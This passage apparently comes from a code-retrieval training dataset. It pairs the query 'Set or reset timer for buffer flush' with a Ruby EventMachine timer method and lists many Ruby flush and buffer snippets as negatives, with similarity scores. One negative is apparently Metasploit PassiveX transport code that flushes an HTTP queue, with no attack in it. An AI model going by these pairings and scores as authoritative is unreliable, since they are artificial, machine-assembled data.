processes.\n\t\t\t\t@signalled = true\n\t\t\tend", "def output? ; !!@output ; end", "def with_output_buffer\n self.output_buffer, old_buffer = \"\", self.output_buffer\n yield if block_given?\n output_buffer\n ensure\n self.output_buffer = old_buffer\n end", "def flush\n # avoid flush cycles via the @flushing flag\n if @flushing.nil?\n @flushing = true\n local_flush\n @outputs.each {|o| o.flush}\n end\n @flushing = nil\n end", "def write_to_screen!; end", "def write_to_screen!; end", "def straight_flush?()\n return self.straight? && self.flush? \n end", "def buffer_changed?\n @buffer_changed\n end", "def buffer &writes\n begin\n buffer_on!\n writes.call\n ensure\n buffer_off!\n end\n flush_buffer!\n end", "def output?\n !@output.empty?\n end", "def analysis_succeeded(stdout)\n while (line = stdout.gets)\n puts line\n end\n end", "def buffer\n @buffer ||= Buffer.new(config.buffer) do |string|\n @on_output.call(string, :header => log_header) if @on_output\n end\n end", "def wait_for_pending_sends\n send_pending\n while output.length > 0\n result = IO.select(nil, [self]) or next\n next unless result[1].any?\n\n send_pending\n end\n end", "def sync_send\n sync_write.putc(\"!\")\n sync_write.flush\n end", "def straight_flush?\n flush? && straight?\n end", "def stdout(command, data)\n # called when the process writes to STDOUT\n end", "def flush_output\n\t\t\treturn if (@remote_queue == nil or @remote_queue.length == 0)\n\t\t\tresp = Rex::Proto::Http::Response.new\n\t\t\tresp.body = @remote_queue\n\t\t\t# sf: we must specify a content type\n\t\t\tresp['Content-Type'] = 'application/octet-stream'\n\t\t\tbegin\n\t\t\t\tif (@remote)\n\t\t\t\t\tdlog(\"PassiveX:#{self} Flushing remote output queue at #{resp.body.length} bytes\", 'core', LEV_3)\n\t\t\t\t\t# sf: this naughty keepalive was killing the meterpreter over passivex payload, dont re-enable!\n\t\t\t\t\t#@remote.keepalive = false\n\t\t\t\t\t@remote.send_response(resp)\n\t\t\t\t\t@remote = nil\n\t\t\t\t\t@remote_queue = ''\n\t\t\t\tend\n\t\t\trescue ::Exception\n\t\t\t\tdlog(\"PassiveX:#{self} Exception during remote queue flush: #{$!}\", 'core', LEV_0)\n\t\t\tend\n\t\tend", "def flush\n end", "def flush\n end", "def flush\n end", "def flush\n end", "def flush\n end", "def flush\n end", "def flush\n end", "def flush\n end", "def flush\n end", "def output?(device)\n device.respond_to?(:puts)\n end", "def eos?; end", "def report(msg, stdout) \n\t\t@file.print msg\n\t\tif (stdout==1)\n\t\t\t# puts \"entrei\"\n\t\t\tprint msg\n\t\tend\n\tend", "def capture_output\n dummy_stdio{ yield }\n end", "def track_eof?\n true if track_eof\n end", "def print_and_flush(str)\n print str\n STDOUT.flush\nend", "def re_stdout\n @logdev.re_stdout\n self\n end", "def readable_after_eof?\n true\n end", "def readable_after_eof?\n true\n end" ]
[ "0.7038063", "0.6430498", "0.63328063", "0.61370355", "0.6125841", "0.61240506", "0.61240506", "0.60612136", "0.6032694", "0.60235876", "0.60235876", "0.59955597", "0.5964954", "0.5930418", "0.5930418", "0.5930418", "0.59137386", "0.58741343", "0.58662087", "0.5844901", "0.5801866", "0.57799023", "0.5769005", "0.5748149", "0.5718787", "0.57045096", "0.56980854", "0.5667561", "0.5665812", "0.5662271", "0.5662271", "0.565959", "0.5654246", "0.5650051", "0.5647282", "0.56148267", "0.56139785", "0.56108755", "0.56052595", "0.56010604", "0.56010604", "0.56010604", "0.56010604", "0.56010604", "0.56010604", "0.5594189", "0.55924475", "0.5585832", "0.55633855", "0.55601484", "0.5550146", "0.5542109", "0.5521765", "0.5516412", "0.5496055", "0.5492527", "0.5486561", "0.54360294", "0.5419074", "0.5413087", "0.5413087", "0.5413087", "0.5413087", "0.5413087", "0.53989196", "0.5388937", "0.53861636", "0.53823704", "0.53657585", "0.5364181", "0.5364181", "0.5363155", "0.53414965", "0.53319687", "0.5327711", "0.53265744", "0.53239304", "0.53224856", "0.5302059", "0.53018045", "0.5301602", "0.5300668", "0.5299869", "0.5299869", "0.5299869", "0.5299869", "0.5296819", "0.5296819", "0.5296819", "0.5296819", "0.5296819", "0.52914464", "0.52908576", "0.5290041", "0.528658", "0.52865064", "0.52749085", "0.5265335", "0.52626425", "0.52626425" ]
0.6287954
3
Set or reset timer for buffer flush === Return true:: Always return true
def reset_timer # note we are using a single PeriodicTimer because we were running out of # one-shot timers with verbose script output. calling cancel on a one-shot # timer sends a message but does not immediately remove the timer from EM # which maxes out at 1000 one-shot timers. (@timer = EventMachine::PeriodicTimer.new(MAX_AUDIT_DELAY) { flush_buffer }) unless @timer end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def periodic_flush\n true\n end", "def flush_buffer\n # note we must discard cancelled timer or else we never create a new timer and stay cancelled.\n if @timer\n @timer.cancel\n @timer = nil\n end\n\n to_send = nil\n @mutex.synchronize do\n unless @buffer.empty?\n to_send = @buffer\n @buffer = ''\n end\n end\n\n if to_send\n internal_send_audit(:kind => :output, :text => to_send, :category => EventCategories::NONE)\n end\n end", "def flush_buffer\n if @timer\n @timer.cancel\n @timer = nil\n end\n unless @buffer.empty?\n internal_send_request('append_output', :text => @buffer)\n @buffer = ''\n end\n end", "def auto_flush\n if @written.nil?\n @written = 0\n end\n\n @written += 1\n\n if @written >= self.flush_interval\n self.flush\n @written = 0\n end\n end", "def flush\n if output\n now = Time.now\n if @last_flush.nil? || (now - @last_flush > FLUSH_TIMER)\n output.flush\n @last_flush = now\n end\n end\n end", "def set_heartbeat_timer(buffer)\n # Cancel @disconnect_timer.\n SockJS.debug \"Cancelling @disconnect_timer as we're about to send a heartbeat frame in 25s.\"\n @disconnect_timer.cancel if @disconnect_timer\n @disconnect_timer = nil\n\n @alive_checker.cancel if @alive_checker\n\n # Send heartbeat frame after 25s.\n @heartbeat_timer ||= EM::Timer.new(25) do\n # It's better as we know for sure that\n # clearing the buffer won't change it.\n SockJS.debug \"Sending heartbeat frame.\"\n begin\n self.finish\n rescue Exception => error\n # Nah these exceptions are OK ... let's figure out when they occur\n # and let's just not set the timer for such cases in the first place.\n SockJS.debug \"Exception when sending heartbeat frame: #{error.inspect}\"\n end\n end\n end", "def reset_flush\n @flush_thread.wakeup\n end", "def flush_buffer; self.input_buffer = \"AAAA\"; end", "def timing(bool)\n @@timing = bool\n end", "def flush\n\t\t\t\tsyswrite(@write_buffer)\n\t\t\t\t@write_buffer.clear\n\t\t\tend", "def send_when_clear cmd_msg\n snooze = 0.05 + rand / 100 # 50-60ms\n unless @carrier_sense == 0 and @last_message < Time.now - snooze\n loop do\n @carrier_sense = 0\n sleep snooze\n break if @carrier_sense == 0\n end\n end\n @io.write cmd_msg\n end", "def flush_async\n activity_buffer.flush_async\n end", "def flush_interval\n @flush_interval\n end", "def straight_flush?()\n return self.straight? && self.flush? \n end", "def active\n @buffering\n end", "def flush() end", "def flush() end", "def flush() end", "def flush\n out = @buffer\n @buffer = ''\n out\n end", "def reset\n stop\n flush\n start\n end", "def local_flush\n end", "def reset_timer; end", "def reset_timer; end", "def flush()\n @device.flush() ;\n end", "def flush!\n finish!\n @thread = Thread.new { work }\n true\n end", "def flush_buffer\n buf = @@output_buffer.dup\n @@output_buffer.clear\n buf\n end", "def flush()\n return if @loop.nil?\n @waiting_thread = Thread.current\n begin\n @loop.wakeup()\n rescue\n # ignore\n end\n while busy?\n sleep(2.0)\n end\n @waiting_thread = nil\n end", "def buffer_changed?\n @buffer_changed\n end", "def straight_flush?\n straight? && flush?\n end", "def flush(&blk)\n queue_server_rt(&blk) if blk\n end", "def should_flush?\n (!queue.blank? && count >= size)\n end", "def buffer_command(cmd)\n @cmd_time ||= Time.now.to_f\n @cmds << cmd\n flush_commands if Time.now.to_f - @cmd_time > BUFFER_TIME\n end", "def clock?\n true\n end", "def flush\n write_cache if @dirty\n @dirty = false\n end", "def set_active_buffer(buffer=0) \n @active_buffer = buffer unless !buffer.between?(0,@@BUFFERS)\n @file_eof = false\n Rula.log(Logger::DEBUG,\"Set active buffer to #{@active_buffer}\",self)\n end", "def straight_flush?\n flush? && straight?\n end", "def reset_timer\n @started = Time.now\n end", "def flush\n unless @buffer.empty?\n message = @buffer.to_a.join(\"\\n\")\n\n # Handle socket errors by just logging if we have a logger instantiated\n # We could eventually save the buffer state but that would require us to manage the buffer size etc.\n begin\n @logger.debug(\"Flushing metrics: #{message}\") unless @logger.nil?\n\n if !@config.has_key?(:dryrun) || !@config[:dryrun]\n transport_send(message)\n end\n rescue SocketError => ex\n @logger.debug(\"Statful: #{ex} on #{@config[:host]}:#{@config[:port]}\") unless @logger.nil?\n false\n ensure\n @buffer.clear\n end\n end\n end", "def sync\r\n\t\tsend('SYN', '0 0')\r\n\t\treturn 1\r\n\tend", "def flush\n @handle.flush\n end", "def auto_flushing=(period)\r\n @auto_flushing =\r\n case period\r\n when true; 1\r\n when false, nil, 0; MAX_BUFFER_SIZE\r\n when Integer; period\r\n else raise ArgumentError, \"Unrecognized auto_flushing period: #{period.inspect}\"\r\n end\r\n end", "def flush_input\n\t \t@sp.read(7)\n\t \t@sp.read(7)\n\t \tsleep(1)\n\t end", "def sync_send\n sync_write.putc(\"!\")\n sync_write.flush\n end", "def clearBuffer() \n @buffer = \"\" ;\n end", "def flush\n # super \n # self.info \"FLUSH_CALLED\"\n end", "def timer; end", "def timer; end", "def timer; end", "def timer; end", "def setTime\n\t\t\t@time=0\n\tend", "def reset!\n synchronize do\n @items = []\n @total_message_bytes = @default_message_bytes\n\n if @canceled\n @queue = []\n @publishing = false\n return false\n end\n\n refill_items\n\n return false unless @publishing\n if @items.empty?\n @publishing = false\n return false\n else\n return true if stopping?\n return true if interval_met?(@items.first.create_time) || batch_full_by_count?\n if @queue.empty?\n @publishing = false\n return false\n end\n end\n end\n true\n end", "def delay_flush\n loop do\n begin\n flush if interval_ready?\n sleep(0.01)\n rescue => e\n $stderr.puts(\"at=start-error error=#{e.message}\") if ENV['DEBUG']\n end\n end\n end", "def flush\n #\n end", "def reset!\n @buffer = ''\n end", "def tick\n if @animation_timer > 0\n @animation_timer -= 1 \n return true if @animation_timer == 0\n end\n\n return false\n end", "def reset_timer\n # note we are using a single PeriodicTimer because we were running out of\n # one-shot timers with verbose script output. calling cancel on a one-shot\n # timer sends a message but does not immediately remove the timer from EM\n # which maxes out at 1000 one-shot timers.\n @timer = EventMachine::PeriodicTimer.new(MAX_AUDIT_DELAY) { flush_buffer } unless @timer\n end", "def flush\n @socket.flush if @socket\n end", "def tick!\n unless @next_status.nil?\n @status = @next_status\n @next_status = nil\n return true\n end\n\n false\n end", "def flush?\n @hand =~ /((S.*){5}|(H.*){5}|(D.*){5}|(C.*){5})/ ? true : false\n end", "def force_flush(timeout: nil)\n writer.force_flush(timeout: timeout) if writer.respond_to? :force_flush\n Export::SUCCESS\n end", "def flush\n @sendbuf_lock.synchronize {\n while @sendbuf.size > 0\n send_data(@sendbuf[0..@block_size-1])\n @sendbuf = @sendbuf[@block_size..-1].to_s\n end\n }\n end", "def flush\n end", "def flush\n end", "def flush\n end", "def flush\n end", "def flush\n end", "def flush\n end", "def flush\n end", "def flush\n end", "def flush\n end", "def flush\n tmp = nil\n @buffer_semaphore.synchronize do\n tmp = @buffer.clone\n @buffer.clear\n end\n tmp\n end", "def start_throttling\n @processed = false\n @timer = EventMachine::PeriodicTimer.new(1.0 / @qps) do\n @processed = false\n end\n end", "def flush\n @socket&.flush\n end", "def auto_flushing=(period)\n @auto_flushing =\n case period\n when true; 1\n when false, nil, 0; MAX_BUFFER_SIZE\n when Integer; period\n else raise ArgumentError, \"Unrecognized auto_flushing period: #{period.inspect}\"\n end\n end", "def flush_buffer\r\n data = @buffer.clone\r\n clear_buffer\r\n @uploader.queue(data) \r\n end", "def mark_as_unmodified()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n Native.Timer_mark_as_unmodified(@handle.ptr)\n end", "def flush\n # NOOP\n end", "def flush\n # NOOP\n end", "def flush\n while !@queue.empty? || @consumer.is_requesting?\n sleep(0.1)\n end\n end", "def send!\n @_sended = true\n self\n end", "def tick\n @time = next_time(true)\n end", "def send_pending\n if output.length > 0\n sent = send(output.to_s, 0)\n debug { \"sent #{sent} bytes\" }\n output.consume!(sent)\n return sent > 0\n else\n return false\n end\n end", "def need_tock?\n if @second == 60\n @second = 0\n tock\n end\n end", "def flush; end", "def flush; end", "def flush; end", "def flush; end", "def flush; end", "def flush\n buffer = @input\n reset\n buffer\n end", "def flush!\n $stdout.flush\n end", "def throttle?\n false\n end", "def reset!\n @buffer = buffer.reset!\n end", "def flush\n is_flush? ? high_card : 0\n end", "def wait_for_rx\n sleep DATA_REFRESH_RATE + @latency\n end", "def flush\n if @state == :flushing\n Log.info(\"[offline] Starting to flush request queue of size #{@queue.size}\") unless @mode == :initializing\n unless @queue.empty?\n r = @queue.shift\n if r[:callback]\n Sender.instance.__send__(r[:kind], r[:type], r[:payload], r[:target]) { |result| r[:callback].call(result) }\n else\n Sender.instance.__send__(r[:kind], r[:type], r[:payload], r[:target])\n end\n end\n if @queue.empty?\n Log.info(\"[offline] Request queue flushed, resuming normal operations\") unless @mode == :initializing\n @mode = :online\n @state = :running\n else\n EM.next_tick { flush }\n end\n end\n true\n end", "def buffer? \n !@_out_buf.nil?\n end", "def clear_buffer!\n @out_mutex.synchronize do\n @buffer = ''.encode(\"UTF-8\")\n @out_update = false\n end\n end", "def send str\n\t puts \"RktDisplay: [delay: #{@send_buffer_delay}] #{str}\" if $verbose > 3\n\n # Add to sendbuffer if @send_buffer_delay > 0\n @send_buffer.push [Time.now.to_i + @send_buffer_delay, str] if @send_buffer_delay > 0\n\n # Send from sendbuffer\n begin\n if @send_buffer_delay > 0\n \t Protocol.write @c, (@send_buffer.shift)[1] if Time.now.to_i >= (@send_buffer.first)[0]\n \t else\n \t Protocol.write @c, str\n \t end\n \t false\n rescue Exception=>e\n true\n end\n \n\tend", "def clear_buffer\n buffer.clear\n end", "def timing?\n @@timing\n end" ]
[ "0.6856796", "0.6641048", "0.6488345", "0.6365131", "0.62721443", "0.6203589", "0.61371344", "0.61182564", "0.6007922", "0.59333694", "0.5814536", "0.5786953", "0.57693315", "0.57626337", "0.57613397", "0.573946", "0.573946", "0.573946", "0.57350755", "0.5728671", "0.5725622", "0.57096946", "0.57096946", "0.5686304", "0.56816125", "0.56751245", "0.5672142", "0.5648476", "0.564062", "0.56375754", "0.56078625", "0.5590778", "0.55763185", "0.5560741", "0.55581826", "0.5552511", "0.55475676", "0.55160195", "0.55072224", "0.5505228", "0.54865074", "0.5483224", "0.54737407", "0.54574764", "0.5451055", "0.54452306", "0.54452306", "0.54452306", "0.54452306", "0.5421804", "0.5418063", "0.5414384", "0.541182", "0.5392702", "0.53911865", "0.5388585", "0.5387752", "0.538605", "0.5383817", "0.5380298", "0.5371788", "0.5365902", "0.5365902", "0.5365902", "0.5365902", "0.53643936", "0.53643936", "0.53643936", "0.53643936", "0.53643936", "0.53638506", "0.5362238", "0.53616524", "0.5360756", "0.5350737", "0.535027", "0.53329694", "0.53329694", "0.5317534", "0.53158003", "0.5309585", "0.530509", "0.529994", "0.5298245", "0.5298245", "0.5298245", "0.5298245", "0.5298245", "0.5296079", "0.5291307", "0.52910596", "0.5279351", "0.52790964", "0.5269453", "0.526798", "0.5264038", "0.52607226", "0.525387", "0.52249056", "0.52242076" ]
0.54234993
49
Audit formatter method to call to format message sent through +request+ === Parameters request(String):: Request used to audit text === Return method(Symbol):: Corresponding audit formatter method
def format_method(request) method = case request when 'update_status' then :status when 'create_new_section' then :new_section when 'append_output' then :output when 'append_info' then :info when 'append_error' then :error end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def internal_send_request(request, options)\n log_method = request == 'append_error' ? :error : :info\n log_text = AuditFormatter.send(format_method(request), options[:text])[:detail]\n log_text.chomp.split(\"\\n\").each { |l| RightLinkLog.__send__(log_method, l) }\n options[:audit_id] = @audit_id\n RightScale::RequestForwarder.push(\"/auditor/#{request}\", options)\n true\n end", "def format_request(payload); end", "def format_request(payload); end", "def request_log(request); end", "def format_message(msg)\n \"#{@method_name} #{msg}\"\n end", "def on_request(env)\n logger.tagged(*tags) do\n logger.info { formatter.request(env) }\n logger.debug { formatter.request_body(env) }\n end\n end", "def log_formatter; end", "def log_formatter; end", "def formatter \n original_formatter = Logger::Formatter.new\n Proc.new do |severity, datetime, progname, msg|\n original_formatter.call(severity, datetime, \n \"#{progname}##{caller_method}\",\n msg.dump)\n end\n end", "def method_missing(method, *args, &block)\n tokens = method.to_s.split('_')\n result = tokens.pop\n action = tokens.join('_')\n if args.first.is_a? Hash\n message = Log.data(args.first)\n else\n message = args.join(' ')\n end\n Log.log self.level, \"action=#{action} status=#{result} #{message}\"\n end", "def call(severity, timestamp, progname, msg)\n if msg.is_a? Hash\n msg.reverse_merge!('at' => timestamp) unless msg.key?('at')\n elsif msg.is_a? String\n if string_formatter\n msg = \"#{tags_text}#{msg}\" if current_tags.any?\n return string_formatter.call(severity, timestamp, progname, msg)\n else\n msg = {'at' => timestamp, 'message' => msg}\n end\n else\n msg = {'at' => timestamp, 'object' => msg.inspect}\n end\n msg['at'] = msg['at'].utc\n \"#{msg.to_json}\\n\"\n end", "def get_audit_label\n self.controller + \" \" + self.action\n end", "def create_format_method\n end", "def formatter(text, action)\n case action\n when 'lowercase'\n return text.downcase\n when 'uppercase'\n return text.upcase\n when 'camelcase'\n return text.downcase.gsub(/\\b\\w/){$&.upcase}\n when 'snakecase'\n return text.gsub! ' ', '_'\n when 'reverse'\n return text\n .split('')\n .reverse()\n .join('')\n when 'countchar'\n return text.gsub(' ', '').split('').length\n when 'countword'\n return text.gsub('\\n',' ').split(' ').length\n when 'countline'\n return text.split('\\n').length\n end\nend", "def happy_format(type, meth, *args)\n Formatter.new(send(meth.to_sym), type, args[0], args[1]).format\n end", "def log_formatter=(_arg0); end", "def log_formatter=(_arg0); end", "def format(text); end", "def formatter; end", "def formatter; end", "def formatter; end", "def update_activity_logs\n request_number = request.number\n req_link = \"<a href = 'requests/#{request_number}'>#{request_number}</a>\"\n app = request.app_name.size > 1 ? \"Applications\" : \"Application\"\n # Log activity is not supported in Rails3\n #User.current_user.log_activity(:context => \"#{req_link} has been #{request.aasm_state} for #{app} #{request.app_name.to_sentence}\") do\n #end\n end", "def get_audit_label\n self.model + \" \" + self.action\n end", "def started_request_message(request)\n 'Started %s \"%s\" for %s at %s' % [\n request.request_method,\n request.filtered_path,\n request.ip,\n Time.now.to_default_s ]\n end", "def format; end", "def format; end", "def format; end", "def format; end", "def format; end", "def format; end", "def format; end", "def format; end", "def mgs_hops_request_sent_message\n $tracer.trace(__method__)\n return ToolTag.new(div.id(\"hops_request_sent\").h4, __method__, self)\n\tend", "def format_log(sev, _time, _prog, msg); end", "def method_shark es, method_name\n es.select {|e| e.method_name == method_name }\n .map {|e| \"\\n\\n\\n#{e.date}\\n\\n#{e.method_body}\" }\nend", "def Auditlog( mo, msg )\n auditEntry = Audit.new\n auditEntry.message = \"#{mo} #{caller[0][/`.*'/][1..-2]} #{msg.inspect}\"\n #auditEntry.origin = ip\n auditEntry.origin = request.remote_ip\n auditEntry.user = !current_user.nil? ? current_user.email : 'no-user'\n auditEntry.datetime = DateTime.now\n\n if !auditEntry.save\n _auditLog.info \"#{user} #{ip} #{caller[0][/`.*'/][1..-2]} #{msg.inspect}\"\n end\n\n end", "def format!; end", "def get_audit_label\n \"#{self.action_user.name} #{self.action_type_param.name}\"\n end", "def action__invoke &proc\n if (restriction = self.class.restrictions?(action_with_format))\n auth_class, auth_args, auth_proc = restriction\n (auth_request = auth_class.new(proc {}, *auth_args, &auth_proc).call(env)) && halt(auth_request)\n end\n\n (cache_control = cache_control?) && cache_control!(*cache_control)\n (expires = expires?) && expires!(*expires)\n (content_type = format? ? mime_type(format) : content_type?) && content_type!(content_type)\n (charset = __e__.explicit_charset || charset?) && charset!(charset)\n\n begin\n (self.class.hooks?(:a, action_with_format)||[]).each { |m| self.send m }\n super \n (self.class.hooks?(:z, action_with_format)||[]).each { |m| self.send m }\n rescue => e\n # if a handler defined at class level, use it\n if handler = self.class.error?(500, action)\n body = handler.last > 0 ? self.send(handler.first, e) : self.send(handler.first)\n halt 500, body\n else\n # otherwise raise rescued exception\n raise e\n end\n end\n\n end", "def call\n return nil unless scope_layer\n return nil unless context.config.value('timeline_traces')\n\n # Since this request is being stored, update the needed counters\n context.slow_request_policy.stored!(request)\n\n # record the change in memory usage\n mem_delta = ScoutApm::Instruments::Process::ProcessMemory.new(context).rss_to_mb(@request.capture_mem_delta!)\n\n transaction_id = request.transaction_id\n revision = context.environment.git_revision.sha\n start_instant = request.root_layer.start_time\n stop_instant = request.root_layer.stop_time\n type = if request.web?\n \"Web\"\n elsif request.job?\n \"Job\"\n else\n \"Unknown\"\n end\n\n # Create request tags\n #\n tags = {\n :allocations => request.root_layer.total_allocations,\n :mem_delta => mem_delta,\n }.merge(request.context.to_flat_hash)\n\n host = context.environment.hostname\n path = request.annotations[:uri] || \"\"\n code = \"\" # User#index for instance\n\n spans = create_spans(request.root_layer)\n if limited?\n tags[:\"scout.reached_span_cap\"] = true\n end\n\n DetailedTrace.new(\n transaction_id,\n revision,\n host,\n start_instant,\n stop_instant,\n type,\n\n path,\n code,\n\n spans,\n tags\n\n # total_score = 0,\n # percentile_score = 0,\n # age_score = 0,\n # memory_delta_score = 0,\n # memory_allocations_score = 0\n )\n end", "def formatter=(_arg0); end", "def formatter=(_arg0); end", "def formatter=(_arg0); end", "def build_text(request)\n sentry = sentry_payload(request)\n project_name = sentry['project_name']\n message = sentry['message']\n level = sentry['level']\n url = sentry['url']\n \"[#{level}] #{project_name} - #{message} <a href='#{url}'>View</a>\"\n end", "def __format(params)\n # Define singleton method.\n instance_eval(_format_method, __FILE__, __LINE__)\n # Delegate to singleton method.\n __format(params)\n end", "def parse_request request\n\n request_uuid = request.shift\n request_method = request.shift\n\n begin\n request_response = @notifier_engine.process_input request_method.to_sym, request\n rescue => exc\n request_response = \"#{exc.class}: #{exc.message}\"\n end\n\n send_response request_uuid, request_response\n\n end", "def audit_request(msg, connection)\n PluginManager[\"rpcaudit_plugin\"].audit_request(msg, connection) if @config.rpcaudit\n rescue Exception => e # rubocop:disable Lint/RescueException\n Log.warn(\"Audit failed - #{e} - continuing to process message\")\n end", "def annotate(message); end", "def format(format, *arguments); end", "def format_arguments; end", "def get_audit_label\n \"#{self.action_type.name} #{self.name}\"\n end", "def log_request\n \"#{request.ip} - #{session[:login] ? session[:login].name : '-'} [#{Time.now.strftime('%d/%m/%Y:%H:%M:%S %z')}] \\\"#{request.request_method} #{request.path} HTTP\\\" #{response.status} #{response.content_length} #{timer.stop(request.object_id).round(3)}\"\n end", "def format(level, context, message)\n msg = message.evaluated_message\n\n case msg\n when Hash\n # Assume caller is following conventions\n log = msg.dup\n else\n # Otherwise treat as String\n log = { :message => msg.to_s.strip }\n end\n\n log[:timestamp] = timestamp\n log[:level] = format_level(level)\n log[:pid] = Process.pid\n\n unless Thread.current == Thread.main\n log[:thread] = Thread.current.object_id\n end\n\n log[:context] = context\n\n if message.ndc.any?\n log[:ndc] = message.ndc.to_a\n end\n\n if message.error\n error = message.error\n\n log[:error_class] = error.class.to_s\n log[:error_message] = error.message\n log[:error_backtrace]\n\n if error.respond_to?(:backtrace)\n backtrace = error.backtrace\n backtrace = backtrace.take(backtrace_limit) if backtrace_limit\n log[:error_backtrace] = backtrace.join(\"\\n\")\n end\n end\n\n JSON.generate(log.to_h)\n end", "def log_request(req)\n message = [req.remote_ip, req.command, req.args.join(' ')].join(' ')\n log.info(message)\n end", "def audit\n \"#{table.audit}.`#{name}`\"\n end", "def format(logevent)\n end", "def formatters; end", "def formatter\n raise NotImplementedError\n end", "def started_request_message(request) # :doc:\n sprintf('Started %s \"%s\" for %s at %s',\n request.raw_request_method,\n request.filtered_path,\n request.remote_ip,\n Time.now)\n end", "def log_with_benchmark(request, action)\n msg = [ ]\n msg << \"#{request.env['REQUEST_METHOD']} #{request.env['PATH_INFO']}\"\n msg << \"Params: #{request.params.inspect}\"\n msg << \"Action: #{action.to_s.upcase}\"\n \n logger.info \"[sinatras-hat] \" + msg.join(' | ')\n \n result = nil\n \n t = Benchmark.realtime { result = yield }\n \n logger.info \" Request finished in #{t} sec.\"\n \n result\n end", "def canonicalize_request\n \"Method:#{http_method.to_s.upcase}\\nHashed Path:#{digester.hash_string(canonical_path)}\\nX-Ops-Content-Hash:#{hashed_body}\\nX-Ops-Timestamp:#{canonical_time}\\nX-Ops-UserId:#{user_id}\"\n end", "def setMessage(content, isRequest)\n\n @txt_input.text = \"Text is not Modified.\".to_java_bytes if @txt_input.textModified\n\n if isRequest\n makelog \"start request audit\"\n @txt_input.text = \"HTTP Request is nil or empty.\".to_java_bytes if content.nil? or content.empty?\n resultlist = []\n begin\n formatedRequest = parse_request(content.to_s)\n checklist = conduct_policy(formatedRequest)\n resultlist += lunchRequestBasedAudit(checklist,formatedRequest)\n basic = BasicAnalyzer.new(formatedRequest)\n # resultlist << basic.paraSetEmpty\n display_data = dataEdit(resultlist)\n display_data.size\n if display_data.size > 0\n @txt_input.text = display_data.to_java_bytes\n else\n @txt_input.text = \"Nothing to display\".to_java_bytes\n end\n rescue\n @stderr.write(\" error: #{$!} at#{$@}\\n\".to_java_bytes)\n end\n\n else\n @txt_input.text = \"HTTP Reponse is nil or empty.\".to_java_bytes if content.nil? or content.empty?\n\n lines= content.to_s.split(\"\\n\")\n body = \"\"\n lines.each_with_index{|each,index| body = each if each.chomp =~ /^\\{.*\\}$/ }\n if body.size > 0\n body = body.chomp\n begin\n hash = JSON.parse body\n body = JSON.pretty_generate hash\n rescue\n @stderr.write(\" error: #{$!} at#{$@}\\n\".to_java_bytes)\n end\n @txt_input.text = body.to_java_bytes\n else\n @txt_input.text = content.to_s.to_java_bytes\n end\n end\n @txt_input.editable = @editable\n\n end", "def call(severity, timestamp, progname, msg)\n msg = original_formatter.call(severity, timestamp, progname, msg) if original_formatter && String === msg\n json_message = {}\n\n add_severity!(json_message, severity)\n json_message.merge!(JsonLogger.stringify_keys(__context__))\n add_message!(json_message, msg)\n add_timestamp(json_message)\n\n self.class.properties_to_display.each do |property, to_display|\n if to_display\n add_property!(json_message, property)\n end\n end\n self.class.reset_properties_to_display\n\n \"#{JsonLogger.json_encoder.call(json_message)}\\n\"\n end", "def log_request(request, type, current_user, logger = Gitlab::AuthLogger)\n request_information = {\n message: 'Application_Rate_Limiter_Request',\n env: type,\n remote_ip: request.ip,\n request_method: request.request_method,\n path: request.fullpath\n }\n\n if current_user\n request_information.merge!({\n user_id: current_user.id,\n username: current_user.username\n })\n end\n\n logger.error(request_information)\n end", "def annotate(request)\n\t\t\t\ttask = Async::Task.current\n\t\t\t\taddress = request.remote_address\n\t\t\t\t\n\t\t\t\t@logger.info(request) {\"Headers: #{request.headers.to_h} from #{address.inspect}\"}\n\t\t\t\t\n\t\t\t\ttask.annotate(\"#{request.method} #{request.path} from #{address.inspect}\")\n\t\t\tend", "def __log(method, path, params, body, url, response, json, took, duration)\n logger.info \"#{method.to_s.upcase} #{url} \" +\n \"[status:#{response.status}, request:#{sprintf('%.3fs', duration)}, query:#{took}]\"\n logger.debug \"> #{__convert_to_json(body)}\" if body\n logger.debug \"< #{response.body}\"\n end", "def log(env, status, response_headers, began_at, body)\n data = {\n :method => env[\"REQUEST_METHOD\"],\n :path => env[\"PATH_INFO\"],\n :query_string => env[\"QUERY_STRING\"],\n :host => Socket.gethostname,\n :status => status.to_i,\n :duration => (Time.now - began_at),\n :remote_addr => env['REMOTE_ADDR'],\n :request => request_line(env),\n :\"X-Forwarded-For\" => response_headers['X-Forwarded-For']\n\n }\n\n # Added calling for the proc and merge the data if it exists\n\n if @proc\n begin\n new_hash = @proc.call(env)\n data = data.merge new_hash if new_hash.class == Hash\n rescue Exception => e\n STDERR.puts \"Exception in your proc : #{e.message}.\"\n end\n end\n\n # This just works for all body types (magic?)... see http://www.rubydoc.info/github/rack/rack/Rack/BodyProxy\n body.each{|x| data[:body] = x[0..@options[:body_len]] }\n @options[:request_headers].each { |header, log_key| env_key = \"HTTP_#{header.upcase.gsub('-', '_')}\" ; data[log_key] = env[env_key] if env[env_key]} if !@options[:request_headers].nil?\n @options[:response_headers].each { |header, log_key| data[log_key] = response_headers[header] if response_headers[header] } if !@options[:response_headers].nil?\n\n data[:error_msg] = env[\"sinatra.error\"] if env.has_key?(\"sinatra.error\")\n\n\n\n @options[:body_regex].each { |k,v| data[k] = data[:body].to_s.match(/#{v}/).captures[0].gsub(\"\\\\\",\"\").gsub(\"\\\"\",\"\") rescue data[k]= \"\" } if !@options[:body_regex].nil?\n\n severity = \"DEBUG\"\n case status\n when 300..399 then severity = \"WARN\"\n when 400..599 then severity = \"ERROR\"\n end\n event = {:severity => severity}.merge data\n # TODO to include this lines\n begin\n device.puts( event.to_json )\n rescue Exception => e\n STDERR.puts \"Error : Failed to write log to : #{@options[:url]}, #{e.message}.\"\n @device = nil\n end\n end", "def formatter\n Proc.new{|severity, time,progname, msg|\n formatted_time = time.strftime(\"%Y-%m-%d,%H:%M:%S\")\n \"#{formatted_time},#{msg.to_s.strip}\\n\"\n }\n end", "def textLogFormat _args\n \"textLogFormat _args;\" \n end", "def formatter()\n @formatter\n end", "def log_http_call(payload)\n logger.info \"Request[#{payload[:method]}]: #{payload[:uri].to_s}\"\n start_time = Time.now\n response = yield\n logger.info sprintf(\"Response[%s]: %s, Duration: %.3fs\", response.code,\n response.message, Time.now - start_time)\n response\n end", "def format(message)\n formatter = formatter_for(message.class)\n if formatter&.respond_to?(:call)\n formatter.call(message)\n else\n message\n end\n end", "def audit_log_all\n\n if params[:controller] && params[:action]\n desc = params[:controller] + \"|\" + 